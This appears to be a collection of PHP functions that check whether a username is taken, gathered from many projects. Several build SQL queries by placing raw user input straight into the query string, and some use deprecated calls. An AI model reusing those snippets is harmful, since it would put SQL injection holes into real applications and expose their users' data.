"function usernameTaken($username){\r\n if(!get_magic_quotes_gpc()){\r\n $username = addslashes($username);\r\n }\r\n $q = \"SELECT username FROM \".TBL_USERS.\" WHERE username = '$username'\";\r\n $result = mysql_query($q, $this->connection);\r\n return (mysql_numrows($result) > 0);\r\n }",
"function validateUser($username){\n\t\tglobal $dataModel;\n\n\t\tif($dataModel->userExist($username, \"\")){\n\t\t\t$_SESSION['error'] = \"Username already taken\";\n\t\t\theader(\"location:../views/profUpdate.php\");\n\t\t}\n\t\n\t\tif (strlen($username)< 6){\n\t\t\t$_SESSION['error'] = \"Username too short\";\n\t\t\theader(\"location:../views/profUpdate.php\");\n\t\t}\n\n\t\treturn true;\n\t}",
"function usernameTaken($username){\n\t\tif(!get_magic_quotes_gpc()){\n\t\t\t$username = addslashes($username);\n\t\t}\n\t\t$q = \"SELECT username FROM \".TBL_USERS.\" WHERE username = '$username'\";\n\t\t$result = mysql_query($q, $this->connection);\n\t\treturn (mysql_numrows($result) > 0); \n\t}",
"private function check_for_username($username)\r\n\t{\r\n\t\tglobal $dbCon;\r\n\r\n\t\t$sql = \"SELECT COUNT(id) AS students FROM student WHERE username = ?;\";\r\n\t\t$stmt = $dbCon->prepare($sql); //Prepare Statement\r\n\t\tif ($stmt === false)\r\n\t\t{\r\n\t\t\ttrigger_error('SQL Error: ' . $dbCon->error, E_USER_ERROR);\r\n\t\t}\r\n\t\t$stmt->bind_param('s', $username);\r\n\t\t$stmt->execute(); //Execute\r\n\t\t$stmt->bind_result($members); //Get ResultSet\r\n\t\t$stmt->fetch();\r\n\t\t$stmt->close();\r\n\r\n\t\tif ($members > 0)\r\n\t\t{\r\n\t\t\treturn \"Username is already in system. Try something else!\";\r\n\t\t}\r\n\t\treturn TRUE;\r\n\t}",
"function userExists( $username ) {\n return true;\n }",
"public static function isUsernameAlreadyInUse($username)\n {\n $db = Base::getConnection();\n $stmt = $db->prepare(\"SELECT COUNT(*) AS count_username FROM users WHERE username = :username\");\n $stmt->bindParam(\":username\", $username, PDO::PARAM_STR);\n $stmt->execute();\n\n $result = $stmt->fetch();\n $stmt->closeCursor();\n return $result['count_username'] > 0;\n }",
"public function usernameExists() {\n\t\tif(!check($this->_username)) return;\n\t\t$result = $this->db->queryFetchSingle(\"SELECT \"._CLMN_USERNM_.\" FROM \"._TBL_MI_.\" WHERE \"._CLMN_USERNM_.\" = ?\", array($this->_username));\n\t\tif(!is_array($result)) return;\n\t\treturn true;\n\t}",
"function _validate_pnhempusername()\r\n\t{\r\n\t\t$username = $this->input->post('username');\r\n\t\tif($this->db->query('select count(*) as t from king_admin where username = ? ',$username)->row()->t)\r\n\t\t{\r\n\t\t\t$this->form_validation->set_message('_validate_pnhempusername','Username already available');\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\treturn true;\r\n\t}",
"function usernameTaken($username){\r\n if(!get_magic_quotes_gpc()){ $username = addslashes($username); }\r\n\t $query = \"SELECT username FROM \".TBL_USERS.\" WHERE username = :username\";\r\n\t $stmt = $this->connection->prepare($query);\r\n\t $stmt->execute(array(':username' => $username));\r\n\t $count = $stmt->rowCount(); \r\n return ($count > 0);\r\n }",
"function userExists($username) {\r\n\t\treturn username_exists($username);\r\n\t}",
"function chkusername($str) {\n $this->db->where('username', strtolower($str));\n $query = $this->db->get('user');\n if ($query->num_rows() == 1) {\n $this->form_validation->set_message('chkusername', 'Username is already being used!');\n return false;\n }\n\n return true;\n }",
"public function hasUsername(){\n return $this->_has(4);\n }",
"function chk_username($username)\n\t{\n\t\t$str = \"SELECT u_username from tbl_user where u_username = ?\";\n\t\t\n\t\t//Executes the query\n\t\t$res = $this -> db -> query($str, $username);\n\t\t\n\t\t//Checks whether the result is available in the table\n\t\tif($res -> num_rows() > 0)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}",
"public function CheckUsername($username, $userId);",
"function is_username_available($username) {\n\t\t$this->db->select('1', FALSE);\n\t\t$this->db->where('LOWER(username)=', strtolower($username));\n\n\t\t$query = $this->db->get($this->table_name);\n\t\treturn $query->num_rows() == 0;\n\t}",
"function isUsernameUsed($username) {\r\n $users = retrieveUsers(0);\r\n\r\n // Check if username already exist\r\n foreach ($users as $user) {\r\n if($user['username'] == $username) {\r\n return true;\r\n }\r\n }\r\n return false;\r\n}",
"function username_check($username)\r\n\t{\r\n\t\tif ( $user = $this->generic_model->get_where_single_row('users', array('username' => $username))) \r\n\t\t{\r\n\t\t\t$this->form_validation->set_message('username_check', 'This %s is already registered.');\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\telse { return true; }\t\t\r\n\t}",
"public function hasUsername(){\n return $this->_has(6);\n }",
"public function hasUsername(){\n return $this->_has(6);\n }",
"function is_username_available($username) {\n\t\t// Load Models\n\t\t$this->ci->load->model('dx_auth/users', 'users');\n\t\t$this->ci->load->model('dx_auth/user_temp', 'user_temp');\n\n\t\t$users = $this->ci->users->check_username($username);\n\t\t//$temp = $this->ci->user_temp->check_username($username);\n\t\t\n\t\t//return $users->num_rows() + $temp->num_rows() == 0;\n\t\treturn $users->num_rows() == 0;\n\t}",
"function check_username($h, $t, $r, $p) {\n\t$handlers = _elgg_services()->router->getPageHandlers();\n\treturn !in_array($p['username'], array_keys($handlers));\n}",
"function checkUser(){\n\t\t// Check for request forgeries\n\t\tJSession::checkToken('request') or jexit(JText::_('JINVALID_TOKEN'));\n\t\n\t\t$app \t = JFactory::getApplication();\n\t\t$db \t = JFactory::getDbo();\n\t\t$inputstr = $app->input->get('inputstr', '', 'string');\n\t\t$name \t = $app->input->get('name', '', 'string');\n\t\n\t\tif($name == 'username'){\n\t\t\t$query \t = \"SELECT COUNT(*) FROM #__users WHERE username=\".$db->quote($inputstr);\n\t\t\t$msg = 'COM_JBLANCE_USERNAME_EXISTS';\n\t\t}\n\t\telseif($name == 'email'){\n\t\t\t$query \t = \"SELECT COUNT(*) FROM #__users WHERE email=\".$db->quote($inputstr);\n\t\t\t$msg = 'COM_JBLANCE_EMAIL_EXISTS';\n\t\t}\n\t\n\t\t$db->setQuery($query);\n\t\tif($db->loadResult()){\n\t\t\techo JText::sprintf($msg, $inputstr);\n\t\t}\n\t\telse {\n\t\t\techo 'OK';\n\t\t}\n\t\texit;\n\t}",
"function username_exist($user){\n\t\t$db = new mysql();\n\t\t$query = \"SELECT*FROM user WHERE username='$user'\";\n\t\t$x = $db->numofrows($query);\n\t\tif($x > 0){\n\t\t\treturn true;\n\t\t}\n\t\telse{\n\t\t\treturn false;\n\t\t}\n\t}",
"private function _checkUsername($uname, $ban=false) {\r\n global $session;\n\r\n /* Username error checking */\r\n $subuser = $_POST[$uname];\r\n $field = $uname; //Use field name for username\n\r\n if(!$subuser || strlen($subuser = trim($subuser)) == 0) {\r\n $session->form->setError($field, \"* Username not entered<br>\");\r\n } else {\r\n /* Make sure username is in database */\r\n $subuser = stripslashes($subuser);\n\r\n if(strlen($subuser) < 5 || strlen($subuser) > 30 ||\r\n !eregi(\"^([0-9a-z])+$\", $subuser) ||\r\n (!$ban && !$session->database->usernameTaken($subuser))) {\r\n $session->form->setError($field, \"* Username does not exist<br />\");\r\n }\r\n }\r\n return $subuser;\r\n }",
"static function isUsernameUsed(string $username) {\n $sql = 'SELECT * FROM users WHERE lower(username) = lower(\"'.$username.'\")';\n $db = new Database();\n $row = $db->query($sql);\n\n if (empty($row)) {\n return false;\n } else {\n return true;\n }\n }",
"private function checkUsernameExist(){\n $base = new ConnexionDb();\n\n $req = $base->query(\n \"SELECT u.username FROM user as u WHERE u.username = :username\",\n array(\n array('username',$_POST['username'],\\PDO::PARAM_STR)\n )\n );\n\n if(isset($req[0]->username)){\n return true;\n }else{\n return false;\n }\n }",
"function checkUserName($connection, $username){\r\n $query = \"SELECT COUNT(*) AS count FROM users WHERE name=:username\";\r\n $statement = $connection->prepare($query);\r\n $statement->bindValue(\":username\", $username, PDO::PARAM_STR);\r\n $statement->execute();\r\n $row = $statement->fetch(PDO::FETCH_ASSOC);\r\n return $row[\"count\"] == \"0\";\r\n }",
"public function username_check($user_name)\n {\n session_check();\n $user_id = $this->uri->segment(3);\n $user_id = empty($user_id) ? $this->session->userdata('user_id') : $user_id;\n if($this->uri->segment(2) == 'add' || $this->uri->segment(2) == 'Add')\n $user_id = 0;\n if($this->users_model->isusernameexist($user_name, $user_id))\n {\n $this->form_validation->set_message('username_check', $this->lang->line('validation_username_exist'));\n return FALSE;\n }else\n {\n return TRUE;\n }\n }",
"public function iN_CheckUserName($username) {\n\t\t$username = mysqli_real_escape_string($this->db, $username);\n\t\t$query = mysqli_query($this->db, \"SELECT * FROM i_users WHERE i_username = '$username' AND uStatus IN('1','2','3')\") or die(mysqli_error($this->db));\n\t\tif (mysqli_num_rows($query) == 1) {\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}",
"public function checkUsername()\n {\n $username = htmlspecialchars($_POST['username']);\n if (!empty($_POST['username'])) {\n if(strlen($username) <= 255) {\n $isPseudo = $this->isPseudo($username);\n if ($isPseudo == 0) {\n return true;\n } else {\n return $message = 'Ce pseudo est déjà utilisé. Veuillez en choisir un autre.';\n }\n } else {\n return $message = 'Votre pseudo est trop long';\n }\n } else {\n return $message = 'Tous les champs ne sont pas complétés';\n }\n }",
"public function check_username_exists($username){\n\t\t\t$this->form_validation->set_message('check_username_exists', 'That username is taken. Please choose a different one');\n\t\t\tif($this->um->check_username_exists($username)){\n\t\t\t\treturn true;\n\t\t\t} else {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}",
"function username_exists($username)\n {\n global $connection;\n $query = \"select username from users where username = '{$username}'\";\n $result = mysqli_query($connection, $query);\n confirmQuery($result);\n if(mysqli_num_rows($result) > 0)\n {\n return true;\n }\n else\n {\n return false;\n }\n }",
"public function usernameEntryIsValid() {\r\n \r\n //todo put logic here (same as email)\r\n // set the var equal to function call of username\r\n $username = $this->getUsername();\r\n // If the field is empty\r\n if ( empty($username) ) {\r\n // Will send it to errors as username and display the message to user\r\n $this->errors[\"username\"] = \"Username is missing.\";\r\n // Other test calls the validator class and nameisvalid function to test\r\n // the user name is it returns invalid the message is displayed to the user\r\n } else if ( !Validator::nameIsValid($this->getUsername()) ) {\r\n $this->errors[\"username\"] = \"Username is not valid.\"; \r\n }\r\n //Will return if its empty and whether any errors are contained\r\n return ( empty($this->errors[\"username\"]) ? true : false ) ;\r\n }",
"public function ajax_check_username() {\n\t\tglobal $wpdb;\n\n\t\tif ( !isset( $_REQUEST['action'] ) )\n\t\t\treturn;\n\n\t\tif ( 'visual_form_builder_check_username' !== $_REQUEST['action'] )\n\t\t\treturn;\n\n\t\t$username = esc_html( $_REQUEST['username'] );\n\t\t$user_id = username_exists( $username );\n\t\t$valid = 'true';\n\n\t\t// If username exists, not valid\n\t\tif ( $user_id )\n\t\t\t$valid = 'false';\n\n\t\techo $valid;\n\n\t\tdie(1);\n\t}",
"public static function check(){\n\t\tif (isset($_SESSION['username'])) {\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}",
"function checkUsername($uname, $ban=false){\r\n\t\t\tglobal $database, $form;\r\n\t\t\t/* Username error checking */\r\n\t\t\t$subuser = $_POST[$uname];\r\n\t\t\t$field = $uname; //Use field name for username\r\n\t\t\tif(!$subuser || strlen($subuser = trim($subuser)) == 0){\r\n\t\t\t\t$form->setError($field, \"* Username not entered<br>\");\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\t/* Make sure username is in database */\r\n\t\t\t\t$subuser = stripslashes($subuser);\r\n\t\t\t\tif(strlen($subuser) < 5 || strlen($subuser) > 30 ||\r\n\t\t\t\t!preg_match(\"/^([0-9a-z])+$/i\", $subuser) ||\r\n\t\t\t\t(!$ban && !$database->usernameTaken($subuser))){\r\n\t\t\t\t\t$form->setError($field, \"* Username does not exist<br>\");\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\treturn $subuser;\r\n\t\t}",
"function checkUserName()\r\n{\r\n\t// --------- GLOBALIZE ---------\r\n\tglobal $user,$utf8;\r\n\t// --------- CHECK ---------\r\n\t$name = $utf8->toUTF8(GET_INC('name'));\r\n\tif ( $user->uname_exist($name) )\r\n\t{\r\n\t\techo 1;\r\n\t}else{\r\n\t\techo 0;\r\n\t}\r\n}",
"function checkUsername($uname, $ban = false) {\n global $database, $form;\n /* Username error checking */\n $subuser = $_POST[$uname];\n $field = $uname; //Use field name for username\n if (!$subuser || strlen($subuser = trim($subuser)) == 0) {\n $form->setError($field, \"* Username not entered<br>\");\n } else {\n /* Make sure username is in database */\n $subuser = stripslashes($subuser);\n if (strlen($subuser) < 5 || strlen($subuser) > 30 ||\n !eregi(\"^([0-9a-z])+$\", $subuser) ||\n (!$ban && !$database->usernameTaken($subuser))) {\n $form->setError($field, \"* Username does not exist<br>\");\n }\n }\n return $subuser;\n }",
"public function hasUsername() {\n return $this->_has(1);\n }",
"function nameExists($newUname){\n\t\tglobal $servername, $username, $dbname, $password, $userid;\n\t\t$conn = new mysqli($servername, $username, $password, $dbname);\n\n\t\t// Check connection\n\t\tif ($conn->connect_error) {\n\t\t die(\"Connection failed: \" . $conn->connect_error);\n\t\t} \n\t\telse {\n\t\t\t$sql = \"SELECT * FROM users WHERE u_username = \\\"\".$newUname.\"\\\";\";\n\t\t\t$result = $conn->query($sql);\n\t\t\tif($result->num_rows > 0){ // if > 0, then obviously this name is taken\n\t\t\t\t$conn->close();\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$conn->close();\n\t\t\t\treturn false;\n\t\t\t}\n\t\t} \n\t}",
"public function username_available($username){\r\n\r\n\t\t$this->stmt = $this->db->prep(\"SELECT username FROM Users WHERE username=:username\");\r\n\t\t$this->stmt->bindParam(':username', $username);\r\n\t\t//NOTE:\r\n\t\t// execute returns true if prepared statement executes. Doesn't matter if values are not found in the database\r\n\t\t$this->stmt->execute();\r\n\t\t$username_check = $this->stmt->fetch(PDO::FETCH_ASSOC);\r\n\t\t\r\n\t\t//comparing given username to what was fetched from the database\r\n\t\tif($username == $username_check[\"username\"]){\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\treturn true;\r\n\t}",
"public function check_username(){\n\t\tif(isset($_POST[\"submit\"])){\n\t\t\t$user = $_POST[\"uname\"];\n\t\t\t$query = $this->db->query(\"SELECT * \n\t\t\t\t\t\t\t\t\t\tFROM admin \n\t\t\t\t\t\t\t\t\t\tWHERE username LIKE '$user'\");\n\t\t\treturn $query->num_rows();\n\t\t}\n\t}",
"public function usernameEntryIsValid() {\r\n if (array_key_exists(\"username\", $_POST) )\r\n {\r\n if ( !Validator::usernameIsValid($_POST[\"username\"]) )\r\n {\r\n $this->errors[\"username\"] = \"Username is not valid!\";// if the username is not valid then the error will be filled with this message\r\n }\r\n if( $this->usernameIsTaken($_POST[\"username\"]) == true ) \r\n {\r\n $this->errors[\"username\"] = \"That Username has been taken!\"; // if the website that the user entered is already in the database\r\n }\r\n }\r\n else\r\n {\r\n $this->errors[\"username\"] = \"Username is required!\"; // requires a Username to be entered\r\n }\r\n \r\n return ( empty($this->errors[\"username\"]) ? true : false );\r\n }",
"public function UsernameAvailable()\n\t{\n\t\tinclude(\"Connection.php\");\n\t\t$usernameAvailSql = \"SELECT Naam FROM Gebruiker WHERE Naam = '\".$this->Name.\"'\";\n\t\t$v_Result = $link->query($usernameAvailSql);\n\t\tif($v_Result->num_rows>0)\n\t\t{\n\t\t\t//gebruikersnaam bestaat al\n\t\t\treturn(false);\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn(true);\n\t\t}\n\t\tmysqli_close($link);\n\n\t}",
"static function checkUsername($username)\n {\n\n $con=Database::getConnection();\n $req=$con->prepare('SELECT * FROM admin WHERE username=?');\n $req->execute(array($username));\n if($req->rowCount()==0)\n {\n return true;\n }\n return false;\n }",
"public function userExists( $user_name ) { return true;}",
"function user_exists()\n\t{\t\n\t\tif((empty($_SESSION['username'])))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t}",
"function UserNameExists($username) {\n\n\t$result = DBRead('usuarios', $params = 'username', $fields = 'username');\n\n\t$query = \"SELECT username FROM usuarios WHERE username = '$username'\";\n\t$result = DBExecute($query);\n\n\tif (mysqli_num_rows($result) <= 0)\n\t\treturn true;\n\telse\n\t\treturn false;\n}",
"public function checkUsernameAction() {\n\t\t\n\t\t$request = $this->getRequest();\n\t\t\t\n\t\t\t\n\t\tif ($request->isPost()) {\n\t\t\t// get the json raw data\n\t\t\t$handle = fopen(\"php://input\", \"rb\");\n\t\t\t$http_raw_post_data = '';\n\t\t\t\n\t\t\twhile (!feof($handle)) {\n\t\t\t $http_raw_post_data .= fread($handle, 8192);\n\t\t\t}\n\t\t\tfclose($handle); \n\t\t\t\n\t\t\t// convert it to a php array\n\t\t\t$json_data = json_decode($http_raw_post_data, true);\n\t\t\t\t\t\n\t\t\t$isFreeUsername = Application_Model_User::checkUsername($json_data);\n\t\t\t\n\t\t\tif($isFreeUsername) {\n\t\t\t\t// continue\n\t\t\t\techo 1;\n\t\t\t}\n\t\t\t\n\t\t\telse {\n\t\t\t\t// username exists already\n\t\t\t\techo 0;\n\t\t\t}\n\t\t}\n\t}",
"function usernameExists($username)\r\n{\r\n\tglobal $db,$db_table_prefix;\r\n\r\n \tif(returns_result(\"SELECT Active FROM \".$db_table_prefix.\"Users WHERE Username_Clean = '\".$db->sql_escape(sanitize($username)).\"' LIMIT 1\") > 0)\r\n\t\treturn true;\r\n\telse\r\n\t\treturn false;\r\n}",
"function is_unique_username($username, $current_id=null) {\n $users_result = find_users_by_username($username);\n // Loop through all results, return false if username is in use\n while($user = db_fetch_assoc($users_result)) {\n // Make sure username isn't in use by our current user.\n // Use (int) to make sure we are comparing two integers.\n if((int) $user['id'] != (int) $current_id) {\n return false; // username is being used by someone else\n }\n }\n // Returns true at the end, but only if the loop had no records\n // to loop through or if the loop never returned false.\n return true; // username is not used by anyone\n }",
"function hasUsername($formvalues) {\n\t\topenDatabaseConnection();\t\t\n\t\t$usernamequery = \"SELECT * FROM employee WHERE (username='\".$formvalues['username'].\"' OR emailaddress='\".$formvalues['emailaddress'].\"')\";\n\t\t$usernameresult = mysql_query($usernamequery);\n\t\t# handle the query execution error gracefully\n\t\tif (mysql_error() != \"\") {\n\t\t\t# database errors occured\n\t\t\t$error_msg = \"A system error occured, please try again\";\n\t\t}else {\n\t\t\tif (mysql_num_rows($usernameresult) == 0) {\n\t\t\t\t$error_msg = \"\";\n\t\t\t}else{\n\t\t\t\t$error_msg = \"The username <b>'\".$formvalues['username'].\"'</b> or email address <b>'\".$formvalues['emailaddress'].\"'</b> is already in use, please select another one.\";\n\t\t\t}\n\t\t}\n\t\treturn $error_msg;\n\t }",
"private function hasValidUserName($input) {\n\t\treturn strtolower($input->user) == strtolower(get_option(\"wp_broadbean_users\"));\n\t}",
"public function username_check($str)\n {\n $this->load->model('Admin_model');\n if ($this->Admin_model->check_user($str))\n {\n return TRUE;\n }\n else\n {\n $this->form_validation->set_message('username_check', 'This username does not exist');\n return FALSE;\n }\n }",
"public function username_is_available($str, $user_table = \"admin_user\") {\n\n $result = ! $this->username_is_found($str, $user_table);\n\n if (!$result) {\n $this->ci->form_validation->set_message(\"username_is_available\", \"Username is already exist.\");\n }\n\n return $result;\n }",
"public function Username(string $username):bool\n {\n $bool = null;\n if (isset($username)) {\n if(strlen($username) > 5 && strlen($username) < 20) {\n $bool = true;\n } else {\n $bool = false;\n }\n }\n return $bool;\n }",
"function usernameTaken($username, $pdo) {\n\t// check if users exists already\n\t$query = \"select count(*) as number from users where username=? limit 1\";\n\t$stmt = $pdo->prepare($query);\n\t$stmt->execute([$username]);\n\t$result = $stmt->fetch();\n\tif ($result['number'] === 0) {\n\t\treturn false;\n\t}\n\treturn true;\n}",
"function checkUsername(){\n\t\t$username\t= JRequest::getVar('username');\n\t\t$action = 'error';\n\t\t$row\t= true;\n\t\t$msg \t= JText::sprintf('CE_CF_USERNAME_IS_NOT_VALID',$username);\n\t\t$class\t= 'invalid';\n\t\t\n\t\t$pattern= '/^[a-z\\d_.]{3,20}$/i';\n\t\tif(preg_match($pattern, $username)){\n\t\t\t$db =& JFactory::getDBO();\n\t\t\t$query = \"SELECT id FROM #__users \"\n\t\t\t. \" WHERE username=\".$db->Quote($username)\n\t\t\t. \" LIMIT 1\";\n\t\t\t$db->setQuery($query);\n\t\t\t$row = $db->loadResult();\n\t\t}\n\t\t// There is no registered user by this username \n\t\tif ( !$row ) {\n\t\t\tif(JRequest::getVar('registration')){\n\t\t\t\t$action = 'success';\n\t\t\t\t$class\t= 'success';\n\t\t\t\t$msg = JText::sprintf('CE_CF_USERNAME_IS_AVAILABLE',$username);\n\t\t\t}else{\n\t\t\t\t// user claims to be registered but is not\n\t\t\t\t$action = 'error';\n\t\t\t\t$class\t= 'invalid';\n\t\t\t\t$msg = JText::sprintf('CE_CF_USERNAME_IS_NOT_VALID',$username);\n\t\t\t}\n\t\t}else{\n\t\t\tif(JRequest::getVar('registration')){\n\t\t\t\t$action = 'error';\n\t\t\t\t$class\t= 'invalid';\n\t\t\t\t$msg = JText::sprintf('CE_CF_USERNAME_IS_NOT_AVAILABLE',$username);\n\t\t\t}else{\n\t\t\t\t$action = 'success';\n\t\t\t\t$class\t= 'success';\n\t\t\t\t$msg = JText::sprintf('CE_CF_USERNAME_IS_VALID',$username);\n\t\t\t}\n\t\t}\n\t\t$json\t=array('action'=> $action, 'msg' => $msg, 'class' => $class );\n\t\t$this->jsonReturn($json);\n\t}",
"public function usernameAvailable($username, $id) {\n $conn = $this->getConnection();\n $result = $conn->query(\"SELECT Username FROM User WHERE Username = '$username' AND ID NOT LIKE '$id'\", PDO::FETCH_ASSOC);\n return $result == null || $result->rowCount() <= 0;\n }",
"function checkUsername($id){\n\t\n\tglobal $link;\n\t$sql=\"SELECT username FROM user WHERE username='$id'\";\n\t\n\t$result=mysqli_query($link,$sql) or die(mysqli_error($link));\n\t\n\t$num=mysqli_num_rows($result);\n\t\n\tif($num>0){\n\t\treturn false;\t//this means that the user already exists and the user have to choose another one\n\t}else{\n\t\treturn true;\n\t}\n}",
"public function is_username_available() {\n\t\tif (User::where('username', $_GET['username'])->active()->count() == 0) {\n\t\t\treturn response()->json([\n\t\t\t\t'success' => true\n\t\t\t], 200);\n\t\t} else {\n\t\t\treturn response()->json([\n\t\t\t\t'success' => false\n\t\t\t], 200);\n\t\t}\n\t}",
"function usernameExists($username)\n\t{\n\t\tglobal $db,$db_table_prefix;\n\t\t\n\t\t$sql = \"SELECT Active\n\t\t\t\tFROM \".$db_table_prefix.\"Users\n\t\t\t\tWHERE\n\t\t\t\tUsername_Clean = '\".$db->sql_escape(sanitize($username)).\"'\n\t\t\t\tLIMIT 1\";\n\t\n\t\tif(returns_result($sql) > 0)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t}",
"function username_exists(){\n //include connection.php\n include \"connection.php\";\n $rowdata=$_POST['data'];\n $username=$rowdata[4];\n \n //create a query that will check if username is taken\n $qrystring=\"SELECT * FROM tblusers \n WHERE username='$username'\"; \n $query=mysqli_query($db,$qrystring);\n //check how many rows does the query returned\n // (0=no match,1 means have match)\n if(mysqli_num_rows($query)>0){\n\treturn true;\t//taken sudah\n }\n else{\n\treturn false;\t//balum taken\n }\t\n mysqli_close($db);\n\n}",
"private function _validateUsername()\n\t{\n\t\t$state = $this->getStateVariables();\n\n\t\t$ret = (object)array('username' => false);\n\t\t$username = $state->username;\n\t\tif(empty($username)) return $ret;\n\t\t$myUser = JFactory::getUser();\n\t\t$user = FOFModel::getTmpInstance('Jusers','AkeebasubsModel')\n\t\t\t->username($username)\n\t\t\t->getFirstItem();\n\n\t\tif($myUser->guest) {\n\t\t\tif(empty($user->username)) {\n\t\t\t\t$ret->username = true;\n\t\t\t} else {\n\t\t\t\t// If it's a blocked user, we should allow reusing the username;\n\t\t\t\t// this would be a user who tried to subscribe, closed the payment\n\t\t\t\t// window and came back to re-register. However, if the validation\n\t\t\t\t// field is non-empty, this is a manually blocked user and should\n\t\t\t\t// not be allowed to subscribe again.\n\t\t\t\tif($user->block) {\n\t\t\t\t\tif(!empty($user->activation)) {\n\t\t\t\t\t\t$ret->username = true;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$ret->username = false;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t$ret->username = false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t} else {\n\t\t\t$ret->username = ($user->username == $myUser->username);\n\t\t}\n\t\treturn $ret;\n\t}",
"private function checkUser()\n {\n $session = $this->di->get(\"session\");\n\n if (!$session->get(\"activeUser\") && !$session->get(\"username\")) {\n return $this->di->response->redirect(\"user/login\");\n }\n }",
"function is_unique_username($username)\n\t{\n\t\t$this->ci->db->select('*');\n\t\t$this->ci->db->where('au_username', $username);\n\t\t$query = $this->ci->db->get('auth_user');\n\t\tif($query->num_rows() == 0)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t}",
"public function username_check($str){\n\t\tif($this->user_model->exist_row_check('username', $str) > 0){\n $this->form_validation->set_error_delimiters('', '');\n\t\t\t$this->form_validation->set_message('username_check', 'Username telah digunakan');\n\t\t\treturn FALSE;\n\t\t}\n\t\telse{\n\t\t\treturn TRUE;\n\t\t}\n\t}",
"public function checkUsername($panelUserName){\n\t}",
"public function Check_UserName($uname)\n\t\t{\n\t\t\tglobal $connection;\n\t\t\t$sql = \"call users_check_username('$uname')\";\n\t\t\t$connection->next_result();\n\t\t\tif($retrieved = $connection->query($sql))\n\t\t\t{\n\t\t\t\tif($retrieved->num_rows)\n\t\t\t\t{\n\t\t\t\t\treturn 0;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\treturn 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t}",
"function name_exist($conn, $username) {\n\t$sql = \"SELECT * FROM Officer WHERE Officer_Username = '$username';\";\n\t$result = mysqli_query($conn, $sql);\n\tif (mysqli_num_rows($result) > 0) {\n\t\treturn True;\n\t} else {\n\t\treturn False;\n\t}\n}",
"public function check_username_exists($username){\n $this->form_validation->set_message('check_username_exists', 'Usrname Sudah diambil. Silahkan gunakan username lain');\n if($this->m_login->check_username_exists($username)){\n return true;\n } else {\n return false;\n }\n }",
"public function check_username($username)\n\t{\n\t\tif ($username) {\n\t\t\t$sql = 'SELECT intMemberID FROM Member WHERE vcEmail = ?';\n\t\t\t$query = $this->db->query($sql, array($username));\n\t\t\t$result = $query->num_rows();\n\t\t\treturn ($result == 1) ? true : false;\n\t\t}\n\n\t\treturn false;\n\t}",
"function correct_user( $name, $passwd, $domain, $conn, $db_users )\r\n\t\t{\r\n\t\t\t$table = $conn->query( \"SELECT count(*) CNT, user, passwd, domain FROM \".$db_users.\" WHERE user = '\".$name.\"' AND domain = '\".$domain.\"'\" );\r\n\t\t\t$row = mysqli_fetch_array( $table );\r\n\t\t\tif ( $row['CNT'] != 1 ) return false;\r\n\t\t\tif ( $row['passwd'] == $passwd ) return true;\r\n\t\t\treturn false;\r\n\t\t}",
"function usernameExists(){\n\t $query = \"SELECT id, first_name, last_name, password\n\t FROM \" . $this->table_name . \"\n\t WHERE username = ?\n\t LIMIT 0,1\";\n\t \n\t $stmt = $this->conn->prepare( $query );\n\t $this->username=htmlspecialchars(strip_tags($this->username));\n\t $stmt->bindParam(1, $this->username);\n\t \n\t $stmt->execute();\n\t $num = $stmt->rowCount();\n\t \n\t if($num > 0){\n\t $row = $stmt->fetch(PDO::FETCH_ASSOC);\n\t \n\t $this->id = $row['id'];\n\t $this->first_name = $row['first_name'];\n\t $this->last_name = $row['last_name'];\n\t $this->password = $row['password'];\n\t \n\t return true;\n\t }\n\t return false;\n\t}",
"function validateUser(Userinfo $userinfo)\n\t{\n\t\t$username = $this->filterUsername($userinfo->username);\n\t\tif ($username !== $userinfo->username) {\n\t\t\tthrow new RuntimeException('Username Has Invalid Character: ' . $userinfo->username . ' vs ' . $username);\n\t\t}\n\t\treturn true;\n\t}",
"function usernameExists($username) {\n\n\tglobal $connection;\n\n\t$query = \"SELECT username FROM users WHERE username = '{$username}'\";\n\t$result = mysqli_query($connection, $query);\n\tconfirm($result);\n\n\treturn mysqli_num_rows($result) > 0 ? true : false;\n\n}",
"public function checkUser($username) {\r\n $this->db->where('username', $username);\r\n $query = $this->db->get(USERS);\r\n return !($query->num_rows() > 0);\r\n }",
"function check_user($user)\n\t\t{\n\n\t\t}",
"public function check_username()\n\t{\n\t \textract($this->input->post());\n\t $this->db->select('*')\n\t\t->from('wl_user')\n\t\t->where('fname',$username)\n\t\t->where('id !=', $u_id);;\n\t\t$query = $this->db->get();\n\t return\t$query->num_rows();\t\n\t}",
"private function isUsernameAvailable($user) {\n $connect = $this->dc->connect();\n $username = $user->getUsername();\n \n $records = $connect->prepare('SELECT id,username,password FROM users WHERE username = :username');\n $records->bindParam(':username', $username);\n $records->execute();\n $results = $records->fetch(\\PDO::FETCH_ASSOC);\n\n return !$results;\n }",
"private function checkUsernameAvailable($value, $message)\n {\n $user = User::find_username_exists(strtolower($value));\n\n if($user !== false)\n {\n $this->errors [] = $message;\n return false;\n } else {\n return true;\n }\n }",
"private function userExists($username){ return $this->redis->exists($username);\n }",
"function validate_username($username)\n {\n }",
